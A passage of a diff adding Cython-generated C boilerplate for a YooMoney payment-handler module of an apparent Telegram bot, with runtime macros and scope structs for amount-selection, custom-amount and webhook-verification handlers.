__PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__yoomoney_pay +#define __PYX_HAVE_API__handlers__payments__yoomoney_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/yoomoney_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + +/* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_account_id; + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_customer_id; + PyObject *__pyx_v_data; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_calculated_hash; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject *__pyx_v_notification_secret; + PyObject *__pyx_v_request; + PyObject *__pyx_v_sha1_hash; + PyObject *__pyx_v_string_to_hash; + PyObject *__pyx_v_user_id; + PyObject *__pyx_v_user_id_str; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_account_id; + PyObject *__pyx_v_amount; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_customer_id; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t 